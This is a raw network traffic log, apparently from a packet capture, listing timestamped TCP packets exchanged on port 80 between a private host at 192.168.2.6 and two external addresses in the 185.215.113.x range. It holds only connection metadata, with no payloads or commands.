Sep 27, 2024 16:18:18.759202003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.759232998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.759260893 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.759267092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.759279013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.759450912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874186039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874250889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874322891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874356985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874370098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874402046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874408007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874454975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874458075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874505043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874511003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874557972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874676943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874727011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874727011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874758959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874772072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874799967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.874841928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874892950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.874934912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.875353098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.875401020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.875438929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.875472069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.875494003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.875520945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.875536919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.875569105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.875579119 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.875607014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.875632048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.875715017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.876281023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.876360893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.876374006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.876395941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.876405001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.876440048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.876465082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.876497030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.876512051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.876530886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.876530886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.876568079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.877258062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.877310038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.877315044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.877347946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.877355099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.877387047 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.877440929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.877473116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.877506971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.877520084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.877557039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.878097057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.878133059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.878149033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.878165007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.878175974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.878211975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.878285885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.878318071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.878333092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.878353119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.878362894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.878397942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879072905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879106998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879126072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879148006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879179955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879234076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879272938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879304886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879326105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879337072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879339933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879370928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.879914045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.879991055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.880023956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.880044937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.880064964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.961827040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.961869001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.961931944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.002234936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.002300978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.002362967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.002398014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.002420902 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.002433062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.002444029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.002468109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.002484083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.002510071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.002981901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.003032923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004612923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004662037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004669905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004703999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004717112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004745960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004828930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004861116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004873991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004894972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004904985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004928112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.004935980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.004967928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005196095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005237103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005270958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005286932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005306005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005326033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005352020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005496025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005527020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005543947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005559921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005565882 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005592108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005626917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005642891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005680084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005691051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005723953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005733013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005755901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005763054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005788088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005801916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005820990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005824089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005855083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.005861044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.005893946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006036997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006078959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006086111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006118059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006134987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006159067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006206989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006238937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006270885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006287098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006304026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006319046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006354094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006458044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006489038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006508112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006520987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006527901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006553888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.006560087 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006592035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.006993055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007025957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007056952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007060051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007081032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007105112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007144928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007178068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007199049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007210016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007220030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007242918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007253885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007282972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007369995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007416010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007638931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007671118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007698059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007704973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007716894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007745981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007783890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007814884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007838964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007848024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007857084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007880926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007915974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.007926941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007956982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.007978916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008012056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008023024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008045912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008057117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008086920 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008563995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008670092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008671999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008703947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008723021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008753061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008754969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008786917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008806944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008821011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008831024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008853912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008866072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008888006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008898020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008919001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008948088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008953094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.008971930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.008995056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009385109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009429932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009438038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009452105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009484053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009495974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009529114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009541988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009557009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009565115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009572029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.009583950 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009594917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.009613037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.049554110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.049657106 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.049664021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.049706936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.065521002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.065608978 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.067692041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.072510958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.089591026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089621067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089633942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089675903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089705944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089714050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089718103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089732885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089746952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089752913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089766026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089772940 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089799881 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089847088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089862108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.089884043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089920998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.089994907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090009928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090064049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.090064049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.090111017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090125084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090142012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090156078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090173006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.090200901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.090534925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090549946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.090583086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.090610027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126635075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126699924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126764059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126777887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126792908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126815081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126820087 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126828909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126842022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126843929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126871109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126909018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126909971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.126964092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.126993895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127007008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127021074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127034903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127034903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127048969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127064943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127068996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127100945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127608061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127623081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127636909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127667904 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127691984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127695084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127804041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127816916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127851009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127863884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127877951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127882004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127912998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127929926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.127957106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.127971888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128009081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128020048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128096104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128109932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128123045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128138065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128138065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128151894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128161907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128185034 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.128361940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128376007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128390074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128403902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.128418922 CEST	80	49615	185.215.113.117	192.168.2.6
